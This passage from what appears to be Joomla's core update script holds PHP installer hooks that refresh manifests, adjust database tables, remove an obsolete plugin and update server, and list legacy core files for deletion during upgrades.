	 * @param   JInstaller  $installer  The class calling this method
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.7.0
	 */
	public function preflight($action, $installer)
	{
		if ($action === 'update')
		{
			// Get the version we are updating from
			if (!empty($installer->extension->manifest_cache))
			{
				$manifestValues = json_decode($installer->extension->manifest_cache, true);

				if ((array_key_exists('version', $manifestValues)))
				{
					$this->fromVersion = $manifestValues['version'];

					return true;
				}
			}

			return false;
		}

		return true;
	}

	/**
	 * Method to update Joomla!
	 *
	 * @param   JInstaller  $installer  The class calling this method
	 *
	 * @return  void
	 */
	public function update($installer)
	{
		$options['format']    = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
		$options['text_file'] = 'joomla_update.php';

		JLog::addLogger($options, JLog::INFO, array('Update', 'databasequery', 'jerror'));

		try
		{
			JLog::add(JText::_('COM_JOOMLAUPDATE_UPDATE_LOG_DELETE_FILES'), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// This needs to stay for 2.5 update compatibility
		$this->deleteUnexistingFiles();
		$this->updateManifestCaches();
		$this->updateDatabase();
		$this->clearRadCache();
		$this->updateAssets($installer);
		$this->clearStatsCache();
		$this->convertTablesToUtf8mb4(true);
		$this->cleanJoomlaCache();

		// VERY IMPORTANT! THIS METHOD SHOULD BE CALLED LAST, SINCE IT COULD
		// LOGOUT ALL THE USERS
		$this->flushSessions();
	}

	/**
	 * Called after any type of action
	 *
	 * @param   string      $action     Which action is happening (install|uninstall|discover_install|update)
	 * @param   JInstaller  $installer  The class calling this method
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.7.0
	 */
	public function postflight($action, $installer)
	{
		if ($action === 'update')
		{
			if (!empty($this->fromVersion) && version_compare($this->fromVersion, '3.7.0', 'lt'))
			{
				/*
				 * Do a check if the menu item exists, skip if it does. Only needed when we are in pre stable state.
				 */
				$db = JFactory::getDbo();

				$query = $db->getQuery(true)
					->select('id')
					->from($db->quoteName('#__menu'))
					->where($db->quoteName('menutype') . ' = ' . $db->quote('main'))
					->where($db->quoteName('title') . ' = ' . $db->quote('com_associations'))
					->where($db->quoteName('client_id') . ' = 1')
					->where($db->quoteName('component_id') . ' = 34');

				$result = $db->setQuery($query)->loadResult();

				if (!empty($result))
				{
					return true;
				}

				/*
				 * Add a menu item for com_associations, we need to do that here because with a plain sql statement we
				 * damage the nested set structure for the menu table
				 */
				$newMenuItem = JTable::getInstance('Menu');

				$data              = array();
				$data['menutype']  = 'main';
				$data['title']     = 'com_associations';
				$data['alias']     = 'Multilingual Associations';
				$data['path']      = 'Multilingual Associations';
				$data['link']      = 'index.php?option=com_associations';
				$data['type']      = 'component';
				$data['published'] = 1;
				$data['parent_id'] = 1;

				// We have used a SQL Statement to add the extension so using 34 is safe (fingers crossed)
				$data['component_id'] = 34;
				$data['img']          = 'class:associations';
				$data['language']     = '*';
				$data['client_id']    = 1;

				$newMenuItem->setLocation($data['parent_id'], 'last-child');

				if (!$newMenuItem->save($data))
				{
					// Install failed, roll back changes
					$installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK', $newMenuItem->getError()));

					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Method to clear our stats plugin cache to ensure we get fresh data on Joomla Update
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	protected function clearStatsCache()
	{
		$db = JFactory::getDbo();

		try
		{
			// Get the params for the stats plugin
			$params = $db->setQuery(
				$db->getQuery(true)
					->select($db->quoteName('params'))
					->from($db->quoteName('#__extensions'))
					->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
					->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
					->where($db->quoteName('element') . ' = ' . $db->quote('stats'))
			)->loadResult();
		}
		catch (Exception $e)
		{
			echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()) . '<br />';

			return;
		}

		$params = json_decode($params, true);

		// Reset the last run parameter
		if (isset($params['lastrun']))
		{
			$params['lastrun'] = '';
		}

		$params = json_encode($params);

		$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = ' . $db->quote($params))
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('stats'));

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
			echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()) . '<br />';

			return;
		}
	}

	/**
	 * Method to update Database
	 *
	 * @return  void
	 */
	protected function updateDatabase()
	{
		if (JFactory::getDbo()->getServerType() === 'mysql')
		{
			$this->updateDatabaseMysql();
		}

		$this->uninstallEosPlugin();
		$this->removeJedUpdateserver();
	}

	/**
	 * Method to update MySQL Database
	 *
	 * @return  void
	 */
	protected function updateDatabaseMysql()
	{
		$db = JFactory::getDbo();

		$db->setQuery('SHOW ENGINES');

		try
		{
			$results = $db->loadObjectList();
		}
		catch (Exception $e)
		{
			echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()) . '<br />';

			return;
		}

		foreach ($results as $result)
		{
			if ($result->Support != 'DEFAULT')
			{
				continue;
			}

			$db->setQuery('ALTER TABLE #__update_sites_extensions ENGINE = ' . $result->Engine);

			try
			{
				$db->execute();
			}
			catch (Exception $e)
			{
				echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()) . '<br />';

				return;
			}

			break;
		}
	}

	/**
	 * Uninstall the 2.5 EOS plugin
	 *
	 * @return  void
	 */
	protected function uninstallEosPlugin()
	{
		$db = JFactory::getDbo();

		// Check if the 2.5 EOS plugin is present and uninstall it if so
		$id = $db->setQuery(
			$db->getQuery(true)
				->select('extension_id')
				->from('#__extensions')
				->where('name = ' . $db->quote('PLG_EOSNOTIFY'))
		)->loadResult();

		// Skip update when id doesn’t exists
		if (!$id)
		{
			return;
		}

		// We need to unprotect the plugin so we can uninstall it
		$db->setQuery(
			$db->getQuery(true)
				->update('#__extensions')
				->set('protected = 0')
				->where($db->quoteName('extension_id') . ' = ' . $id)
		)->execute();

		$installer = new JInstaller;
		$installer->uninstall('plugin', $id);
	}

	/**
	 * Remove the never used JED Updateserver
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function removeJedUpdateserver()
	{
		$db = JFactory::getDbo();

		try
		{
			// Get the update site ID of the JED Update server
			$id = $db->setQuery(
				$db->getQuery(true)
					->select('update_site_id')
					->from($db->quoteName('#__update_sites'))
					->where($db->quoteName('location') . ' = ' . $db->quote('https://update.joomla.org/jed/list.xml'))
			)->loadResult();

			// Skip delete when id doesn’t exists
			if (!$id)
			{
				return;
			}

			// Delete from update sites
			$db->setQuery(
				$db->getQuery(true)
					->delete($db->quoteName('#__update_sites'))
					->where($db->quoteName('update_site_id') . ' = ' . $id)
			)->execute();

			// Delete from update sites extensions
			$db->setQuery(
				$db->getQuery(true)
					->delete($db->quoteName('#__update_sites_extensions'))
					->where($db->quoteName('update_site_id') . ' = ' . $id)
			)->execute();
		}
		catch (Exception $e)
		{
			echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()) . '<br />';

			return;
		}
	}

	/**
	 * Update the manifest caches
	 *
	 * @return  void
	 */
	protected function updateManifestCaches()
	{
		$extensions = JExtensionHelper::getCoreExtensions();

		// Attempt to refresh manifest caches
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from('#__extensions');

		foreach ($extensions as $extension)
		{
			$query->where(
				'type=' . $db->quote($extension[0])
				. ' AND element=' . $db->quote($extension[1])
				. ' AND folder=' . $db->quote($extension[2])
				. ' AND client_id=' . $extension[3], 'OR'
			);
		}

		$db->setQuery($query);

		try
		{
			$extensions = $db->loadObjectList();
		}
		catch (Exception $e)
		{
			echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()) . '<br />';

			return;
		}

		$installer = new JInstaller;

		foreach ($extensions as $extension)
		{
			if (!$installer->refreshManifestCache($extension->extension_id))
			{
				echo JText::sprintf('FILES_JOOMLA_ERROR_MANIFEST', $extension->type, $extension->element, $extension->name, $extension->client_id) . '<br />';
			}
		}
	}

	/**
	 * Delete files that should not exist
	 *
	 * @return  void
	 */
	public function deleteUnexistingFiles()
	{
		$files = array(
			/*
			 * Joomla 1.5
			 *
			 * Because of the way some sites were upgraded forward from 1.5, they may still have some files from the
			 * core libraries that need to be explicitly checked for and removed because of the migration of the
			 * core libraries to using PHP namespaces.  For example, the JVersion file is in an autoloaded path in 2.5+
			 * and due to the autoloader priorities the JVersion class will be used before the namespaced
			 * Joomla\CMS\Version.  This is a failsafe to ensure those files which MAY conflict with the current API
			 * are removed.
			 */
			'/libraries/joomla/version.php',

			/*
			 * Joomla 1.6 - 1.7 - 2.5
			 */
			'/administrator/components/com_content/models/fields/filters.php',
			'/administrator/components/com_users/helpers/levels.php',
			'/administrator/modules/mod_quickicon/tmpl/default_button.php',
			'/administrator/templates/bluestork/params.ini',
			'/administrator/templates/hathor/params.ini',
			'/includes/version.php',
			'/libraries/joomla/application/applicationexception.php',
			'/libraries/joomla/client/http.php',
			'/libraries/joomla/database/databaseexception.php',
			'/libraries/joomla/database/databasequery.php',
			'/libraries/joomla/filter/filterinput.php',
			'/libraries/joomla/filter/filteroutput.php',
			'/libraries/joomla/form/formfield.php',
			'/libraries/joomla/form/formrule.php',
			'/libraries/joomla/log/logentry.php',
			'/libraries/joomla/utilities/garbagecron.txt',
			'/libraries/joomlacms/index.html',
			'/libraries/phpmailer/language/phpmailer.lang-en.php',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/flash.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/flv_player.swf',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/quicktime.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/realmedia.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/shockwave.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/trans.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img/windowsmedia.gif',
			'/media/system/css/modal_msie.css',
			'/media/system/images/modal/closebox.gif',

			/*
			 * Joomla 2.5.0 thru 3.0.0
			 */
			'/administrator/components/com_admin/sql/updates/mysql/1.7.0-2011-06-06-2.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.0-2011-06-06.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.0.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.1-2011-09-15-2.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.1-2011-09-15-3.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.1-2011-09-15-4.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.1-2011-09-15.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.1-2011-09-17.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.1-2011-09-20.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.3-2011-10-15.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.3-2011-10-19.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.3-2011-11-10.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.4-2011-11-19.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.4-2011-11-23.sql',
			'/administrator/components/com_admin/sql/updates/mysql/1.7.4-2011-12-12.sql',
			'/administrator/components/com_admin/sql/updates/sqlsrv/2.5.2-2012-03-05.sql',
			'/administrator/components/com_admin/sql/updates/sqlsrv/2.5.3-2012-03-13.sql',
			'/administrator/components/com_admin/sql/updates/sqlsrv/index.html',
			'/administrator/components/com_admin/views/sysinfo/tmpl/default_navigation.php',
			'/administrator/components/com_categories/config.xml',
			'/administrator/components/com_categories/helpers/categoriesadministrator.php',
			'/administrator/components/com_contact/elements/contact.php',
			'/administrator/components/com_contact/elements/index.html',
			'/administrator/components/com_content/elements/article.php',
			'/administrator/components/com_content/elements/author.php',
			'/administrator/components/com_content/elements/index.html',
			'/administrator/components/com_installer/models/fields/client.php',
			'/administrator/components/com_installer/models/fields/group.php',
			'/administrator/components/com_installer/models/fields/index.html',
			'/administrator/components/com_installer/models/fields/search.php',
			'/administrator/components/com_installer/models/forms/index.html',
			'/administrator/components/com_installer/models/forms/manage.xml',
			'/administrator/components/com_installer/views/install/tmpl/default_form.php',
			'/administrator/components/com_installer/views/manage/tmpl/default_filter.php',
			'/administrator/components/com_languages/views/installed/tmpl/default_ftp.php',
			'/administrator/components/com_languages/views/installed/tmpl/default_navigation.php',
			'/administrator/components/com_modules/models/fields/index.html',
			'/administrator/components/com_modules/models/fields/moduleorder.php',
			'/administrator/components/com_modules/models/fields/moduleposition.php',
			'/administrator/components/com_newsfeeds/elements/index.html',
			'/administrator/components/com_newsfeeds/elements/newsfeed.php',
			'/administrator/components/com_templates/views/prevuuw/index.html',
			'/administrator/components/com_templates/views/prevuuw/tmpl/default.php',
			'/administrator/components/com_templates/views/prevuuw/tmpl/index.html',
			'/administrator/components/com_templates/views/prevuuw/view.html.php',
			'/administrator/components/com_users/controllers/config.php',
			'/administrator/includes/menu.php',
			'/administrator/includes/router.php',
			'/administrator/language/en-GB/en-GB.plg_system_finder.ini',
			'/administrator/language/en-GB/en-GB.plg_system_finder.sys.ini',
			'/administrator/manifests/packages/pkg_joomla.xml',
			'/administrator/modules/mod_submenu/helper.php',
			'/administrator/templates/hathor/css/ie6.css',
			'/administrator/templates/hathor/html/mod_submenu/index.html',
			'/administrator/templates/hathor/html/mod_submenu/default.php',
			'/components/com_media/controller.php',
			'/components/com_media/helpers/index.html',
			'/components/com_media/helpers/media.php',
			'/includes/menu.php',
			'/includes/pathway.php',
			'/includes/router.php',
			'/language/en-GB/en-GB.pkg_joomla.sys.ini',
			'/libraries/cms/cmsloader.php',
			'/libraries/cms/controller/index.html',
			'/libraries/cms/controller/legacy.php',
			'/libraries/cms/model/index.html',
			'/libraries/cms/model/legacy.php',
			'/libraries/cms/schema/changeitemmysql.php',
			'/libraries/cms/schema/changeitemsqlazure.php',
			'/libraries/cms/schema/changeitemsqlsrv.php',
			'/libraries/cms/view/index.html',
			'/libraries/cms/view/legacy.php',
			'/libraries/joomla/application/application.php',
			'/libraries/joomla/application/categories.php',
			'/libraries/joomla/application/cli/daemon.php',
			'/libraries/joomla/application/cli/index.html',
			'/libraries/joomla/application/component/controller.php',
			'/libraries/joomla/application/component/controlleradmin.php',
			'/libraries/joomla/application/component/controllerform.php',
			'/libraries/joomla/application/component/helper.php',
			'/libraries/joomla/application/component/index.html',
			'/libraries/joomla/application/component/model.php',
			'/libraries/joomla/application/component/modeladmin.php',
			'/libraries/joomla/application/component/modelform.php',
			'/libraries/joomla/application/component/modelitem.php',
			'/libraries/joomla/application/component/modellist.php',
			'/libraries/joomla/application/component/view.php',
			'/libraries/joomla/application/helper.php',
			'/libraries/joomla/application/input.php',
			'/libraries/joomla/application/input/cli.php',
			'/libraries/joomla/application/input/cookie.php',
			'/libraries/joomla/application/input/files.php',
			'/libraries/joomla/application/input/index.html',
			'/libraries/joomla/application/menu.php',
			'/libraries/joomla/application/module/helper.php',
			'/libraries/joomla/application/module/index.html',
			'/libraries/joomla/application/pathway.php',
			'/libraries/joomla/application/web/webclient.php',
			'/libraries/joomla/base/node.php',
			'/libraries/joomla/base/object.php',
			'/libraries/joomla/base/observable.php',
			'/libraries/joomla/base/observer.php',
			'/libraries/joomla/base/tree.php',
			'/libraries/joomla/cache/storage/eaccelerator.php',
			'/libraries/joomla/cache/storage/helpers/helper.php',
			'/libraries/joomla/cache/storage/helpers/index.html',
			'/libraries/joomla/database/database/index.html',
			'/libraries/joomla/database/database/mysql.php',
			'/libraries/joomla/database/database/mysqlexporter.php',
			'/libraries/joomla/database/database/mysqli.php',
			'/libraries/joomla/database/database/mysqliexporter.php',
			'/libraries/joomla/database/database/mysqliimporter.php',
			'/libraries/joomla/database/database/mysqlimporter.php',
			'/libraries/joomla/database/database/mysqliquery.php',
			'/libraries/joomla/database/database/mysqlquery.php',
			'/libraries/joomla/database/database/sqlazure.php',
			'/libraries/joomla/database/database/sqlazurequery.php',
			'/libraries/joomla/database/database/sqlsrv.php',
			'/libraries/joomla/database/database/sqlsrvquery.php',
			'/libraries/joomla/database/exception.php',
			'/libraries/joomla/database/table.php',
			'/libraries/joomla/database/table/asset.php',
			'/libraries/joomla/database/table/category.php',
			'/libraries/joomla/database/table/content.php',
			'/libraries/joomla/database/table/extension.php',
			'/libraries/joomla/database/table/index.html',
			'/libraries/joomla/database/table/language.php',
			'/libraries/joomla/database/table/menu.php',
			'/libraries/joomla/database/table/menutype.php',
			'/libraries/joomla/database/table/module.php',
			'/libraries/joomla/database/table/session.php',
			'/libraries/joomla/database/table/update.php',
			'/libraries/joomla/database/table/user.php',
			'/libraries/joomla/database/table/usergroup.php',
			'/libraries/joomla/database/table/viewlevel.php',
			'/libraries/joomla/database/tablenested.php',
			'/libraries/joomla/environment/request.php',
			'/libraries/joomla/environment/uri.php',
			'/libraries/joomla/error/error.php',
			'/libraries/joomla/error/exception.php',
			'/libraries/joomla/error/index.html',
			'/libraries/joomla/error/log.php',
			'/libraries/joomla/error/profiler.php',
			'/libraries/joomla/filesystem/archive.php',
			'/libraries/joomla/filesystem/archive/bzip2.php',
			'/libraries/joomla/filesystem/archive/gzip.php',
			'/libraries/joomla/filesystem/archive/index.html',
			'/libraries/joomla/filesystem/archive/tar.php',
			'/libraries/joomla/filesystem/archive/zip.php',
			'/libraries/joomla/form/fields/category.php',
			'/libraries/joomla/form/fields/componentlayout.php',
			'/libraries/joomla/form/fields/contentlanguage.php',
			'/libraries/joomla/form/fields/editor.php',
			'/libraries/joomla/form/fields/editors.php',
			'/libraries/joomla/form/fields/helpsite.php',
			'/libraries/joomla/form/fields/media.php',
			'/libraries/joomla/form/fields/menu.php',
			'/libraries/joomla/form/fields/menuitem.php',
			'/libraries/joomla/form/fields/modulelayout.php',
			'/libraries/joomla/form/fields/templatestyle.php',
			'/libraries/joomla/form/fields/user.php',
			'/libraries/joomla/html/editor.php',
			'/libraries/joomla/html/html/access.php',
			'/libraries/joomla/html/html/batch.php',
			'/libraries/joomla/html/html/behavior.php',
			'/libraries/joomla/html/html/category.php',
			'/libraries/joomla/html/html/content.php',
			'/libraries/joomla/html/html/contentlanguage.php',
			'/libraries/joomla/html/html/date.php',
			'/libraries/joomla/html/html/email.php',
			'/libraries/joomla/html/html/form.php',
			'/libraries/joomla/html/html/grid.php',
			'/libraries/joomla/html/html/image.php',
			'/libraries/joomla/html/html/index.html',
			'/libraries/joomla/html/html/jgrid.php',
			'/libraries/joomla/html/html/list.php',
			'/libraries/joomla/html/html/menu.php',
			'/libraries/joomla/html/html/number.php',
			'/libraries/joomla/html/html/rules.php',
			'/libraries/joomla/html/html/select.php',
			'/libraries/joomla/html/html/sliders.php',
			'/libraries/joomla/html/html/string.php',
			'/libraries/joomla/html/html/tabs.php',
			'/libraries/joomla/html/html/tel.php',
			'/libraries/joomla/html/html/user.php',
			'/libraries/joomla/html/pagination.php',
			'/libraries/joomla/html/pane.php',
			'/libraries/joomla/html/parameter.php',
			'/libraries/joomla/html/parameter/element.php',
			'/libraries/joomla/html/parameter/element/calendar.php',
			'/libraries/joomla/html/parameter/element/category.php',
			'/libraries/joomla/html/parameter/element/componentlayouts.php',
			'/libraries/joomla/html/parameter/element/contentlanguages.php',
			'/libraries/joomla/html/parameter/element/editors.php',
			'/libraries/joomla/html/parameter/element/filelist.php',
			'/libraries/joomla/html/parameter/element/folderlist.php',
			'/libraries/joomla/html/parameter/element/helpsites.php',
			'/libraries/joomla/html/parameter/element/hidden.php',
			'/libraries/joomla/html/parameter/element/imagelist.php',
			'/libraries/joomla/html/parameter/element/index.html',
			'/libraries/joomla/html/parameter/element/languages.php',
			'/libraries/joomla/html/parameter/element/list.php',
			'/libraries/joomla/html/parameter/element/menu.php',
			'/libraries/joomla/html/parameter/element/menuitem.php',
			'/libraries/joomla/html/parameter/element/modulelayouts.php',
			'/libraries/joomla/html/parameter/element/password.php',
			'/libraries/joomla/html/parameter/element/radio.php',
			'/libraries/joomla/html/parameter/element/spacer.php',
			'/libraries/joomla/html/parameter/element/sql.php',
			'/libraries/joomla/html/parameter/element/templatestyle.php',
			'/libraries/joomla/html/parameter/element/text.php',
			'/libraries/joomla/html/parameter/element/textarea.php',
			'/libraries/joomla/html/parameter/element/timezones.php',
			'/libraries/joomla/html/parameter/element/usergroup.php',
			'/libraries/joomla/html/parameter/index.html',
			'/libraries/joomla/html/toolbar.php',
			'/libraries/joomla/html/toolbar/button.php',
			'/libraries/joomla/html/toolbar/button/confirm.php',
			'/libraries/joomla/html/toolbar/button/custom.php',
			'/libraries/joomla/html/toolbar/button/help.php',
			'/libraries/joomla/html/toolbar/button/index.html',
			'/libraries/joomla/html/toolbar/button/link.php',
			'/libraries/joomla/html/toolbar/button/popup.php',
			'/libraries/joomla/html/toolbar/button/separator.php',
			'/libraries/joomla/html/toolbar/button/standard.php',
			'/libraries/joomla/html/toolbar/index.html',
			'/libraries/joomla/image/filters/brightness.php',
			'/libraries/joomla/image/filters/contrast.php',
			'/libraries/joomla/image/filters/edgedetect.php',
			'/libraries/joomla/image/filters/emboss.php',
			'/libraries/joomla/image/filters/grayscale.php',
			'/libraries/joomla/image/filters/index.html',
			'/libraries/joomla/image/filters/negate.php',
			'/libraries/joomla/image/filters/sketchy.php',
			'/libraries/joomla/image/filters/smooth.php',
			'/libraries/joomla/language/help.php',
			'/libraries/joomla/language/latin_transliterate.php',
			'/libraries/joomla/log/logexception.php',
			'/libraries/joomla/log/loggers/database.php',
			'/libraries/joomla/log/loggers/echo.php',
			'/libraries/joomla/log/loggers/formattedtext.php',
			'/libraries/joomla/log/loggers/index.html',
			'/libraries/joomla/log/loggers/messagequeue.php',
			'/libraries/joomla/log/loggers/syslog.php',
			'/libraries/joomla/log/loggers/w3c.php',
			'/libraries/joomla/methods.php',
			'/libraries/joomla/session/storage/eaccelerator.php',
			'/libraries/joomla/string/stringnormalize.php',
			'/libraries/joomla/utilities/date.php',
			'/libraries/joomla/utilities/simplecrypt.php',
			'/libraries/joomla/utilities/simplexml.php',
			'/libraries/joomla/utilities/string.php',
			'/libraries/joomla/utilities/xmlelement.php',
			'/media/com_finder/images/calendar.png',
			'/media/com_finder/images/index.html',
			'/media/com_finder/images/mime/index.html',
			'/media/com_finder/images/mime/pdf.png',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlist/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autolink/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/iespell/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/lists/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/print/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/save/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/visualchars/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/editor_template_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/editor_template_src.js',
			'/media/editors/tinymce/jscripts/tiny_mce/tiny_mce_src.js',
			'/media/plg_quickicon_extensionupdate/extensionupdatecheck.js',
			'/media/plg_quickicon_joomlaupdate/jupdatecheck.js',

			/*
			 * Joomla! 3.0.0 thru 3.1.0
			 */
			'/administrator/components/com_languages/views/installed/tmpl/default_ftp.php',
			'/administrator/language/en-GB/en-GB.plg_content_geshi.ini',
			'/administrator/language/en-GB/en-GB.plg_content_geshi.sys.ini',
			'/administrator/templates/hathor/html/com_contact/contact/edit_metadata.php',
			'/administrator/templates/hathor/html/com_newsfeeds/newsfeed/edit_metadata.php',
			'/administrator/templates/hathor/html/com_weblinks/weblink/edit_metadata.php',
			'/administrator/templates/hathor/html/mod_submenu/default.php',
			'/administrator/templates/hathor/html/mod_submenu/index.html',
			'/libraries/cms/feed/entry.php',
			'/libraries/cms/feed/factory.php',
			'/libraries/cms/feed/feed.php',
			'/libraries/cms/feed/index.html',
			'/libraries/cms/feed/link.php',
			'/libraries/cms/feed/parser.php',
			'/libraries/cms/feed/parser/atom.php',
			'/libraries/cms/feed/parser/index.html',
			'/libraries/cms/feed/parser/namespace.php',
			'/libraries/cms/feed/parser/rss.php',
			'/libraries/cms/feed/person.php',
			'/libraries/joomla/form/rules/boolean.php',
			'/libraries/joomla/form/rules/color.php',
			'/libraries/joomla/form/rules/email.php',
			'/libraries/joomla/form/rules/equals.php',
			'/libraries/joomla/form/rules/index.html',
			'/libraries/joomla/form/rules/options.php',
			'/libraries/joomla/form/rules/rules.php',
			'/libraries/joomla/form/rules/tel.php',
			'/libraries/joomla/form/rules/url.php',
			'/libraries/joomla/form/rules/username.php',
			'/libraries/joomla/installer/adapters/component.php',
			'/libraries/joomla/installer/adapters/file.php',
			'/libraries/joomla/installer/adapters/index.html',
			'/libraries/joomla/installer/adapters/language.php',
			'/libraries/joomla/installer/adapters/library.php',
			'/libraries/joomla/installer/adapters/module.php',
			'/libraries/joomla/installer/adapters/package.php',
			'/libraries/joomla/installer/adapters/plugin.php',
			'/libraries/joomla/installer/adapters/template.php',
			'/libraries/joomla/installer/extension.php',
			'/libraries/joomla/installer/helper.php',
			'/libraries/joomla/installer/index.html',
			'/libraries/joomla/installer/installer.php',
			'/libraries/joomla/installer/librarymanifest.php',
			'/libraries/joomla/installer/packagemanifest.php',
			'/media/system/css/mooRainbow.css',
			'/media/system/js/mooRainbow-uncompressed.js',
			'/media/system/js/mooRainbow.js',
			'/media/system/js/swf-uncompressed.js',
			'/media/system/js/swf.js',
			'/media/system/js/uploader-uncompressed.js',
			'/media/system/js/uploader.js',
			'/media/system/swf/index.html',
			'/media/system/swf/uploader.swf',

			/*
			 * Joomla! 3.1.0 thru 3.2.0
			 */
			'/administrator/components/com_banners/models/fields/ordering.php',
			'/administrator/components/com_config/helper/component.php',
			'/administrator/components/com_config/models/fields/filters.php',
			'/administrator/components/com_config/models/fields/index.html',
			'/administrator/components/com_config/models/forms/application.xml',
			'/administrator/components/com_config/models/forms/index.html',
			'/administrator/components/com_config/views/application/index.html',
			'/administrator/components/com_config/views/application/tmpl/default.php',
			'/administrator/components/com_config/views/application/tmpl/default_cache.php',
			'/administrator/components/com_config/views/application/tmpl/default_cookie.php',
			'/administrator/components/com_config/views/application/tmpl/default_database.php',
			'/administrator/components/com_config/views/application/tmpl/default_debug.php',
			'/administrator/components/com_config/views/application/tmpl/default_filters.php',
			'/administrator/components/com_config/views/application/tmpl/default_ftp.php',
